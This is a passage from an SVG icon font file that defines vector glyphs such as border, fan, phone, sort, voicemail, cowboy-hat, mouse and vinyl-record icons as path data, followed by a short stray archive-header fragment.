c17.6641 0 32 -14.3359 32 -32s-14.3359 -32 -32 -32h-64h-0.0595703c-6.18262 0 -15.1152 3.13574 -19.9404 7zM512 192c70.6562 0 128 -57.3438 128 -128s-57.3438 -128 -128 -128s-128 57.3438 -128 128s57.3438 128 128 128zM512 0c35.3281 0 64 28.6719 64 64
s-28.6719 64 -64 64s-64 -28.6719 -64 -64s28.6719 -64 64 -64zM128 192c70.6562 0 128 -57.3438 128 -128s-57.3438 -128 -128 -128s-128 57.3438 -128 128s57.3438 128 128 128zM128 0c35.3281 0 64 28.6719 64 64s-28.6719 64 -64 64s-64 -28.6719 -64 -64
s28.6719 -64 64 -64z" />
    <glyph glyph-name="border-all" unicode="&#xf84c;" horiz-adv-x="448" 
d="M416 416c17.6641 0 32 -14.3359 32 -32v-384c0 -17.6641 -14.3359 -32 -32 -32h-384c-17.6641 0 -32 14.3359 -32 32v384c0 17.6641 14.3359 32 32 32h384zM384 352h-128v-128h128v128zM192 352h-128v-128h128v128zM64 32h128v128h-128v-128zM256 32h128v128h-128v-128z
" />
    <glyph glyph-name="border-none" unicode="&#xf850;" horiz-adv-x="448" 
d="M240 224c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-32c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h32zM336 224c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-32c-8.83203 0 -16 7.16797 -16 16v32
c0 8.83203 7.16797 16 16 16h32zM432 224c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-32c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h32zM144 224c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-32
c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h32zM240 32c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-32c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h32zM336 32c8.83203 0 16 -7.16797 16 -16v-32
c0 -8.83203 -7.16797 -16 -16 -16h-32c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h32zM432 32c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-32c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h32zM432 128
c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-32c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h32zM432 320c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-32c-8.83203 0 -16 7.16797 -16 16v32
c0 8.83203 7.16797 16 16 16h32zM240 128c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-32c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h32zM240 320c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-32
c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h32zM144 32c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-32c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h32zM240 416c8.83203 0 16 -7.16797 16 -16v-32
c0 -8.83203 -7.16797 -16 -16 -16h-32c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h32zM336 416c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-32c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h32zM432 416
c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-32c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h32zM48 224c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-32c-8.83203 0 -16 7.16797 -16 16v32
c0 8.83203 7.16797 16 16 16h32zM48 32c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-32c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h32zM48 128c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-32
c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h32zM48 320c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-32c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h32zM48 416c8.83203 0 16 -7.16797 16 -16v-32
c0 -8.83203 -7.16797 -16 -16 -16h-32c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h32zM144 416c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-32c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h32z" />
    <glyph glyph-name="border-style" unicode="&#xf853;" horiz-adv-x="448" 
d="M240 32c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-32c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h32zM144 32c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-32c-8.83203 0 -16 7.16797 -16 16v32
c0 8.83203 7.16797 16 16 16h32zM336 32c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-32c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h32zM432 224c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-32
c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h32zM432 128c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-32c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h32zM432 32c8.83203 0 16 -7.16797 16 -16v-32
c0 -8.83203 -7.16797 -16 -16 -16h-32c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h32zM432 320c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-32c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h32zM432 416
c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-368v-368c0 -8.83203 -7.16797 -16 -16 -16h-32c-8.83203 0 -16 7.16797 -16 16v400c0 17.6641 14.3359 32 32 32h400z" />
    <glyph glyph-name="fan" unicode="&#xf863;" 
d="M352.57 320c81.79 0 149.3 -61.6299 159.3 -141.33c1.30957 -10.4795 -7.17969 -19.6396 -17.6201 -18.5898l-123.11 12.4102c8.34082 -22.9707 12.8604 -48.9707 12.8604 -77.0605c0 -81.79 -61.6299 -149.3 -141.33 -159.3
c-10.4795 -1.30957 -19.6396 7.19043 -18.5898 17.6201l12.4102 123.11c-22.9707 -8.34082 -48.9707 -12.8604 -77.0605 -12.8604c-81.79 0 -149.3 61.6299 -159.3 141.33c-1.30957 10.4795 7.17969 19.6699 17.6201 18.5898l123.11 -12.4102
c-8.34082 22.9707 -12.8604 48.9707 -12.8604 77.0605c0 81.79 61.6299 149.3 141.33 159.3c10.4795 1.30957 19.6699 -7.17969 18.5898 -17.6201l-12.4102 -123.11c22.9707 8.34082 48.9707 12.8604 77.0605 12.8604zM256 160c17.6641 0 32 14.3359 32 32
s-14.3359 32 -32 32s-32 -14.3359 -32 -32s14.3359 -32 32 -32z" />
    <glyph glyph-name="icons" unicode="&#xf86d;" 
d="M116.65 228.65l-96.79 99.8301c-28 29.0293 -26.4102 77.0996 5 103.88c27.3896 23.3398 68.1895 19.1396 93.29 -6.80078l9.84961 -10.1396l9.86035 10.1396c25.1396 25.9404 65.8896 30.1406 93.2793 6.80078c31.4102 -26.7803 33.0605 -74.8799 4.91016 -103.88
l-96.75 -99.8301c-2.55566 -2.66992 -7.62891 -4.83594 -11.3252 -4.83594c-3.69531 0 -8.76855 2.16602 -11.3242 4.83594zM260.57 128.16c15.1406 -0.0107422 27.4297 -12.3086 27.4297 -27.4502v-0.00976562v-137.25v0c0 -15.1416 -12.2891 -27.4395 -27.4297 -27.4502
h-233.141c-15.1406 0.00585938 -27.4297 12.2988 -27.4297 27.4404v0.00976562v137.25v0.00976562c0 15.1523 12.2979 27.4502 27.4502 27.4502h0.00976562h48l7 14.2402c3.67773 9.81445 15.168 17.7793 25.6484 17.7793h0.0117188h71.71h0.0107422
c10.4814 0 21.9717 -7.96484 25.6494 -17.7793l7.08008 -14.2402h48zM144 -20c28.7041 0 52 23.2959 52 52s-23.2959 52 -52 52s-52 -23.2959 -52 -52s23.2959 -52 52 -52zM499.4 95.9004c9.70996 0 15.75 -8.79004 10.8691 -15.7002l-92.3994 -138.91
c-2.19629 -2.90039 -6.93262 -5.25488 -10.5713 -5.25488c-0.0957031 0 -0.25293 0.00195312 -0.348633 0.00488281c-8.03027 0 -14.1201 6.25 -12.2305 12.9004l24.2002 83h-62.3096c-7.62012 0 -13.5 5.58984 -12.5 11.8896l16.7998 106.93
c0.839844 5.2002 6.2002 9.10059 12.5 9.10059h75.5898c8.25 0 14.2803 -6.56055 12.1797 -13.21l-22.3594 -50.75h60.5801zM478.08 447.67c17.9199 2.75 33.9199 -12.1895 33.9199 -31.6699v-144.26c-0.269531 -26.3398 -28.7998 -47.6602 -64 -47.6602
c-35.3496 0 -64 21.4795 -64 48c0 26.5195 28.6504 48 64 48c4.46191 -0.0400391 11.6299 -0.801758 16 -1.7002v47.1797l-112 -17.2197v-108.58c-0.269531 -26.3398 -28.7998 -47.6602 -64 -47.6602c-35.3496 0 -64 21.4805 -64 48c0 26.5205 28.6504 48 64 48
c4.46191 -0.0400391 11.6299 -0.801758 16 -1.69922v106.77c0 15.9102 10.8701 29.4102 25.5098 31.6602z" />
    <glyph glyph-name="phone-alt" unicode="&#xf879;" 
d="M497.39 86.2002c8.06055 -3.50586 14.6016 -13.4844 14.6016 -22.2744c0 -1.48828 -0.264648 -3.87402 -0.59082 -5.32617l-24 -104c-2.37109 -10.2666 -12.8477 -18.5996 -23.3848 -18.5996h-0.015625c-256.1 0 -464 207.5 -464 464v0.00585938
c0 10.5371 8.33301 21.0137 18.5996 23.3838l104 24c1.45996 0.332031 3.8584 0.601562 5.35547 0.601562c8.73242 0 18.6533 -6.49707 22.1445 -14.501l48 -112c1.06836 -2.49219 1.93457 -6.71582 1.93457 -9.42773c0 -6.28613 -3.95801 -14.6064 -8.83398 -18.5723
l-60.6006 -49.6006c31.3398 -66.4688 110.721 -145.85 177.19 -177.189l49.5996 60.5996c3.97559 4.86914 12.3047 8.82129 18.5908 8.82129c2.70508 0 6.9209 -0.860352 9.40918 -1.9209z" />
    <glyph glyph-name="phone-square-alt" unicode="&#xf87b;" horiz-adv-x="448" 
d="M400 416c26.4961 0 48 -21.5039 48 -48v-352c0 -26.4961 -21.5039 -48 -48 -48h-352c-26.4961 0 -48 21.5039 -48 48v352c0 26.4961 21.5039 48 48 48h352zM383.61 108.63c0.198242 0.919922 0.373047 2.42969 0.389648 3.37012
c-0.262695 5.28613 -4.33496 11.4648 -9.08984 13.79l-70 30c-1.57422 0.613281 -4.22168 1.15527 -5.91016 1.20996c-3.82422 -0.209961 -9.02539 -2.67383 -11.6104 -5.5l-31 -37.8896c-41.5469 19.6025 -91.1768 69.2324 -110.779 110.779l37.8896 31
c2.82617 2.58496 5.29004 7.78613 5.5 11.6104c-0.0546875 1.68848 -0.597656 4.33594 -1.20996 5.91016l-30 70c-2.32812 4.75098 -8.50586 8.82324 -13.79 9.08984c-0.94043 -0.0205078 -2.4502 -0.195312 -3.37012 -0.389648l-65 -15
c-6.19238 -1.6582 -11.4033 -8.20312 -11.6299 -14.6104c0 -160.29 130 -290 290 -290c6.58496 0.00292969 13.1309 5.21289 14.6104 11.6299z" />
    <glyph glyph-name="photo-video" unicode="&#xf87c;" horiz-adv-x="640" 
d="M608 448c17.6641 0 32 -14.3359 32 -32v-320c0 -17.6641 -14.3359 -32 -32 -32h-128v320h-192v-64h-160v96c0 17.6641 14.3359 32 32 32h448zM232 345v30c0 4.96777 -4.03223 9 -9 9h-30c-4.96777 0 -9 -4.03223 -9 -9v-30c0 -4.96777 4.03223 -9 9 -9h30
c4.96777 0 9 4.03223 9 9zM584 137v30c0 4.96777 -4.03223 9 -9 9h-30c-4.96777 0 -9 -4.03223 -9 -9v-30c0 -4.96777 4.03223 -9 9 -9h30c4.96777 0 9 4.03223 9 9zM584 241v30c0 4.96777 -4.03223 9 -9 9h-30c-4.96777 0 -9 -4.03223 -9 -9v-30
c0 -4.96777 4.03223 -9 9 -9h30c4.96777 0 9 4.03223 9 9zM584 345v30c0 4.96777 -4.03223 9 -9 9h-30c-4.96777 0 -9 -4.03223 -9 -9v-30c0 -4.96777 4.03223 -9 9 -9h30c4.96777 0 9 4.03223 9 9zM416 288c17.6641 0 32 -14.3359 32 -32v-288
c0 -17.6641 -14.3359 -32 -32 -32h-384c-17.6641 0 -32 14.3359 -32 32v288c0 17.6641 14.3359 32 32 32h384zM96 224c-17.6641 0 -32 -14.3359 -32 -32s14.3359 -32 32 -32s32 14.3359 32 32s-14.3359 32 -32 32zM384 0v96l-96 96l-128 -128l-32 32l-64 -64v-32h320z" />
    <glyph glyph-name="remove-format" unicode="&#xf87d;" horiz-adv-x="640" 
d="M336 32c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-128c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h32.4902l26.5098 79.5996l67.0898 -51.8301l-9.25977 -27.7695h11.1699zM633.82 -10.0996
c3.41309 -2.65234 6.18359 -8.3125 6.18359 -12.6357c0 -3.02734 -1.50684 -7.42383 -3.36426 -9.81445l-19.6396 -25.2705c-2.65234 -3.41211 -8.31152 -6.18262 -12.6338 -6.18262c-3.03125 0 -7.43359 1.51172 -9.82617 3.37305l-588.36 454.72
c-3.41016 2.65234 -6.17773 8.31055 -6.17773 12.6309c0 3.02832 1.50879 7.42773 3.36816 9.81934l19.6299 25.2695c2.65234 3.41309 8.31152 6.18262 12.6338 6.18262c3.03125 0 7.43359 -1.51074 9.82617 -3.37207l114.54 -88.5205v43.9004c0 8.83203 7.16797 16 16 16
h416c8.83203 0 16 -7.16797 16 -16v-96c0 -8.83203 -7.16797 -16 -16 -16h-32c-8.83203 0 -16 7.16797 -16 16v32h-117.83l-49.1699 -147.59zM309.91 240.24l31.9199 95.7598h-117.83v-29.3604z" />
    <glyph glyph-name="sort-alpha-down-alt" unicode="&#xf881;" horiz-adv-x="448" 
d="M176 96c14.2197 0 21.3496 -17.2598 11.3301 -27.3096l-80 -96c-2.58691 -2.58496 -7.65332 -4.68262 -11.3105 -4.68262c-3.65625 0 -8.72266 2.09766 -11.3096 4.68262l-80 96c-10.0703 10.0693 -2.90039 27.3096 11.29 27.3096h48v304c0 8.83203 7.16797 16 16 16h32
c8.83203 0 16 -7.16797 16 -16v-304h48zM288 224c-8.83203 0 -16 7.16797 -16 16v17.6299v0.00292969c0 7.93262 4.81152 18.6475 10.7402 23.917l61.2598 70.4502h-56c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h128c8.83203 0 16 -7.16797 16 -16
v-17.6299v-0.00292969c0 -7.93262 -4.81152 -18.6475 -10.7402 -23.917l-61.2598 -70.4502h56c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-128zM447.06 -10.6201c0.514648 -1.44043 0.931641 -3.85059 0.931641 -5.37988
c0 -8.82715 -7.16406 -15.9951 -15.9912 -16h-24.8398h-0.0449219c-6.42773 0 -13.249 4.96387 -15.2256 11.0801l-4.40918 12.9199h-71l-4.4209 -12.9199c-1.97559 -6.11621 -8.79688 -11.0801 -15.2246 -11.0801h-0.00488281h-24.8301
c-8.82715 0.00488281 -15.9912 7.17285 -15.9912 16c0 1.5293 0.416992 3.93945 0.931641 5.37988l59.2695 160c2.09277 5.8623 8.84375 10.6201 15.0684 10.6201h0.00195312h41.4395h0.00195312c6.22461 0 12.9756 -4.75781 15.0684 -10.6201zM335.61 48h32.7793
l-16.3896 48z" />
    <glyph glyph-name="sort-alpha-up-alt" unicode="&#xf882;" horiz-adv-x="448" 
d="M16 288c-14.2197 0 -21.3496 17.2598 -11.3096 27.3096l80 96c2.58594 2.58496 7.65332 4.68262 11.3096 4.68262s8.72363 -2.09766 11.3096 -4.68262l80 -96c10.0703 -10.0693 2.90039 -27.3096 -11.3096 -27.3096h-48v-304c0 -8.83203 -7.16797 -16 -16 -16h-32
c-8.83203 0 -16 7.16797 -16 16v304h-48zM288 224c-8.83203 0 -16 7.16797 -16 16v17.6299v0.00292969c0 7.93262 4.81152 18.6475 10.7402 23.917l61.2598 70.4502h-56c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h128c8.83203 0 16 -7.16797 16 -16
v-17.6299v-0.00292969c0 -7.93262 -4.81152 -18.6475 -10.7402 -23.917l-61.2598 -70.4502h56c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-128zM447.06 -10.6201c0.514648 -1.44043 0.931641 -3.85059 0.931641 -5.37988
c0 -8.82715 -7.16406 -15.9951 -15.9912 -16h-24.8398h-0.0449219c-6.42773 0 -13.249 4.96387 -15.2256 11.0801l-4.40918 12.9199h-71l-4.4209 -12.9199c-1.97559 -6.11621 -8.79688 -11.0801 -15.2246 -11.0801h-0.00488281h-24.8301
c-8.82715 0.00488281 -15.9912 7.17285 -15.9912 16c0 1.5293 0.416992 3.93945 0.931641 5.37988l59.2695 160c2.09277 5.8623 8.84375 10.6201 15.0684 10.6201h0.00195312h41.4395h0.00195312c6.22461 0 12.9756 -4.75781 15.0684 -10.6201zM335.61 48h32.7793
l-16.3896 48z" />
    <glyph glyph-name="sort-amount-down-alt" unicode="&#xf884;" 
d="M240 352c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h64c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-64zM240 224c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h128c8.83203 0 16 -7.16797 16 -16v-32
c0 -8.83203 -7.16797 -16 -16 -16h-128zM496 32c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-256c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h256zM240 96c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h192
c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-192zM176 96c14.2197 0 21.3496 -17.2598 11.3301 -27.3096l-80 -96c-2.58691 -2.58496 -7.65332 -4.68262 -11.3105 -4.68262c-3.65625 0 -8.72266 2.09766 -11.3096 4.68262l-80 96
c-10.0801 10.0693 -2.90039 27.3096 11.29 27.3096h48v304c0 8.83203 7.16797 16 16 16h32c8.83203 0 16 -7.16797 16 -16v-304h48z" />
    <glyph glyph-name="sort-amount-up-alt" unicode="&#xf885;" 
d="M240 352c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h64c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-64zM240 224c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h128c8.83203 0 16 -7.16797 16 -16v-32
c0 -8.83203 -7.16797 -16 -16 -16h-128zM496 32c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-256c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h256zM240 96c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h192
c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-192zM16 288c-14.2197 0 -21.3496 17.2598 -11.3096 27.3096l80 96c2.58594 2.58496 7.65332 4.68262 11.3096 4.68262s8.72363 -2.09766 11.3096 -4.68262l80 -96
c10.0801 -10.0693 2.90039 -27.3096 -11.3096 -27.3096h-48v-304c0 -8.83203 -7.16797 -16 -16 -16h-32c-8.83203 0 -16 7.16797 -16 16v304h-48z" />
    <glyph glyph-name="sort-numeric-down-alt" unicode="&#xf886;" horiz-adv-x="448" 
d="M176 96c14.2197 0 21.3496 -17.2598 11.3301 -27.3096l-80 -96c-2.58691 -2.58496 -7.65332 -4.68262 -11.3105 -4.68262c-3.65625 0 -8.72266 2.09766 -11.3096 4.68262l-80 96c-10.0703 10.0693 -2.90039 27.3096 11.29 27.3096h48v304c0 8.83203 7.16797 16 16 16h32
c8.83203 0 16 -7.16797 16 -16v-304h48zM400 32c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-96c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h16v64h-16c-8.82422 0.0078125 -15.9863 7.17578 -15.9863 16
c0 2.08984 0.759766 5.30176 1.69629 7.16992l16 32c2.44141 4.87012 8.84277 8.8252 14.29 8.83008h48c8.83203 0 16 -7.16797 16 -16v-112h16zM330.17 413.09c53.4502 14.25 101.83 -25.8799 101.85 -77.0898v-10.7695c0 -70.3906 -28.25 -107.23 -86.25 -132
c-8.36914 -3.58008 -18.0293 1.2793 -20.8994 9.90918l-9.90039 20c-2.62012 7.87012 0.610352 16.9404 8.18066 20.3408c6.2793 2.71387 15.6201 8.49805 20.8496 12.9092c-47.6396 4.76074 -83.0996 51.4805 -68.8301 102.53c6.80762 23.4512 31.4482 47.7197 55 54.1699z
M352 316c11.04 0 20 8.95996 20 20s-8.95996 20 -20 20s-20 -8.95996 -20 -20s8.95996 -20 20 -20z" />
    <glyph glyph-name="sort-numeric-up-alt" unicode="&#xf887;" horiz-adv-x="448" 
d="M107.31 411.31l80 -96c10.0703 -10.0693 2.90039 -27.3096 -11.3096 -27.3096h-48v-304c0 -8.83203 -7.16797 -16 -16 -16h-32c-8.83203 0 -16 7.16797 -16 16v304h-48c-14.2197 0 -21.3496 17.2598 -11.3096 27.3096l80 96
c2.58594 2.58496 7.65332 4.68262 11.3096 4.68262s8.72363 -2.09766 11.3096 -4.68262zM400 32c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-96c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h16v64h-16
c-8.82422 0.0078125 -15.9863 7.17578 -15.9863 16c0 2.08984 0.759766 5.30176 1.69629 7.16992l16 32c2.44141 4.87012 8.84277 8.8252 14.29 8.83008h48c8.83203 0 16 -7.16797 16 -16v-112h16zM330.17 413.09c53.4502 14.25 101.83 -25.8799 101.85 -77.0898v-10.7695
c0 -70.3906 -28.25 -107.23 -86.25 -132c-8.36914 -3.58008 -18.0293 1.2793 -20.8994 9.90918l-9.90039 20c-2.62012 7.87012 0.610352 16.9404 8.18066 20.3408c6.2793 2.71387 15.6201 8.49805 20.8496 12.9092c-47.6396 4.76074 -83.0996 51.4805 -68.8301 102.53
c6.80762 23.4512 31.4482 47.7197 55 54.1699zM352 316c11.04 0 20 8.95996 20 20s-8.95996 20 -20 20s-20 -8.95996 -20 -20s8.95996 -20 20 -20z" />
    <glyph glyph-name="spell-check" unicode="&#xf891;" horiz-adv-x="576" 
d="M272 192c-8.83203 0 -16 7.16797 -16 16v224c0 8.83203 7.16797 16 16 16h75c42.2998 0 80.9004 -30.5703 84.6699 -72.6797c0.186523 -2.02051 0.337891 -5.30762 0.337891 -7.33691c0 -11.0186 -4.20996 -27.8516 -9.39746 -37.5732
c14.0186 -13.0674 25.3965 -39.2256 25.3965 -58.3906c0 -1.29199 -0.0615234 -3.38867 -0.136719 -4.67969c-2.50977 -43.1396 -41.3105 -75.3398 -84.5098 -75.3398h-91.3604zM312 392v-48h40c13.248 0 24 10.752 24 24s-10.752 24 -24 24h-40zM312 296v-48h56
c13.248 0 24 10.752 24 24s-10.752 24 -24 24h-56zM155.12 425.75l68.2998 -213.48c0.320312 -1.15625 0.580078 -3.06934 0.580078 -4.26953c0 -8.83203 -7.16797 -16 -16 -16v0h-24.9297h-0.000976562c-6.71875 0 -13.626 5.25488 -15.4189 11.7305l-11.9404 36.2695
h-87.4199l-11.9404 -36.2695c-1.79297 -6.47559 -8.7002 -11.7305 -15.4189 -11.7305h-0.000976562h-24.9297c-8.82617 0.00488281 -15.9902 7.17383 -15.9902 16c0 1.2002 0.259766 3.11328 0.580078 4.26953l68.29 213.48c3.92871 12.2822 17.583 22.25 30.4785 22.25
h0.00195312h25.2793h0.00195312c12.8955 0 26.5498 -9.96777 30.4785 -22.25zM89.3701 304h45.2598l-22.6299 68.7002zM571.37 171.52c2.58203 -2.58594 4.65723 -7.65039 4.65723 -11.3047c0 -3.64551 -2.08594 -8.70117 -4.65723 -11.2852l-208 -208.21
c-2.5752 -2.60449 -7.6377 -4.71777 -11.2998 -4.71777c-3.66309 0 -8.72559 2.11328 -11.3008 4.71777l-112 112.21c-2.57617 2.58496 -4.66699 7.64551 -4.66699 11.2949c0 3.65039 2.09082 8.70996 4.66699 11.2949l45.3008 45.3008
c2.57324 2.60352 7.63379 4.71777 11.2949 4.71777s8.72168 -2.11426 11.2949 -4.71777l55.4102 -55.5l151.5 151.5c2.57324 2.60352 7.63379 4.71777 11.2949 4.71777s8.72168 -2.11426 11.2949 -4.71777z" />
    <glyph glyph-name="voicemail" unicode="&#xf897;" horiz-adv-x="640" 
d="M496 320c79.4883 0 144 -64.5117 144 -144s-64.5117 -144 -144 -144h-352c-79.4844 0.00390625 -143.993 64.5156 -143.993 144c0 79.4883 64.5117 144 144 144s144 -64.5117 144 -144c0 -24.1113 -10.8711 -59.9512 -24.2666 -80h112.52
c-13.3955 20.0488 -24.2666 55.8887 -24.2666 80c0 79.4883 64.5117 144 144 144h0.00683594zM64 176c0 -44.1602 35.8398 -80 80 -80s80 35.8398 80 80s-35.8398 80 -80 80s-80 -35.8398 -80 -80zM496 96c44.1602 0 80 35.8398 80 80s-35.8398 80 -80 80
s-80 -35.8398 -80 -80s35.8398 -80 80 -80z" />
    <glyph glyph-name="hat-cowboy" unicode="&#xf8c0;" horiz-adv-x="640" 
d="M490 151.1c-38.7695 -12.5898 -93.7305 -23.0996 -170 -23.0996s-131.19 10.5303 -169.99 23.1201c9.50977 57.4102 39.5098 232.88 97.71 232.88c14 0 26.4902 -6 37 -14c8.62988 -6.57812 24.4395 -11.917 35.29 -11.917s26.6611 5.33887 35.29 11.917
c10.5098 8.07031 23 14 37 14c58.21 0 88.21 -175.51 97.7002 -232.9zM632.9 188.28c3.90625 -2.625 7.08594 -8.57422 7.08594 -13.2803c0 -1.5752 -0.442383 -4.05273 -0.986328 -5.53027c-0.730469 -2.01953 -77.3203 -201.47 -319 -201.47s-318.27 199.45 -319 201.47
c-0.537109 1.46973 -0.973633 3.93164 -0.973633 5.49512c0 8.83203 7.16797 16 16 16c3.39844 0 8.20215 -1.84766 10.7236 -4.125c1.01953 -0.899414 102.42 -90.8398 293.24 -90.8398c191.89 0 292.16 89.8799 293.16 90.7803
c2.53418 2.3291 7.38477 4.21875 10.8262 4.21875c2.69141 0 6.68945 -1.21777 8.92383 -2.71875z" />
    <glyph glyph-name="hat-cowboy-side" unicode="&#xf8c1;" horiz-adv-x="640" 
d="M260.8 156.94l98.0098 -84.4805c78.1904 -67.3896 129.98 -104.46 233.19 -104.46h-546.12c-14.0498 0 -27.1299 7.53027 -35.8799 20.6396c-9 13.4707 -12.1201 30.7002 -8.57031 47.3008c20.04 93.3398 85.5703 156.06 162.971 156.06
c34.3994 0 67.7695 -12.1201 96.3994 -35.0596zM495.45 175.23c114.95 -7.90039 144.55 -101.841 144.55 -127.23c0 -26.4961 -21.5039 -48 -48 -48c-97.0996 0 -141.24 35.46 -212.31 96.7002l-98 84.4795c-35.29 28.2705 -75.5 42.8203 -117.29 42.8203
c-7.09082 0 -13.8906 -1.16992 -20.79 -2l6.88965 65.21c2.72852 25.4766 25.2852 50.4707 50.3496 55.79l191.15 40.5898c3.63574 0.773438 9.60254 1.40137 13.3193 1.40137c29.7891 0 58.0498 -23.8301 63.0811 -53.1914z" />
    <glyph glyph-name="mouse" unicode="&#xf8cc;" horiz-adv-x="384" 
d="M0 96v128h384v-128c0 -88.3203 -71.6797 -160 -160 -160h-64c-88.3203 0 -160 71.6797 -160 160zM176 448v-192h-176v32c0 88.3203 71.6797 160 160 160h16zM224 448c88.3203 0 160 -71.6797 160 -160v-32h-176v192h16z" />
    <glyph glyph-name="record-vinyl" unicode="&#xf8d9;" 
d="M256 296c57.4082 0 104 -46.5918 104 -104s-46.5918 -104 -104 -104s-104 46.5918 -104 104s46.5918 104 104 104zM256 168c13.248 0 24 10.752 24 24s-10.752 24 -24 24s-24 -10.752 -24 -24s10.752 -24 24 -24zM256 440c137 0 248 -111 248 -248s-111 -248 -248 -248
s-248 111 -248 248s111 248 248 248zM256 64c70.6562 0 128 57.3438 128 128s-57.3438 128 -128 128s-128 -57.3438 -128 -128s57.3438 -128 128 -128z" />
  </font>
</defs></svg>
PK     N\{iW
 W
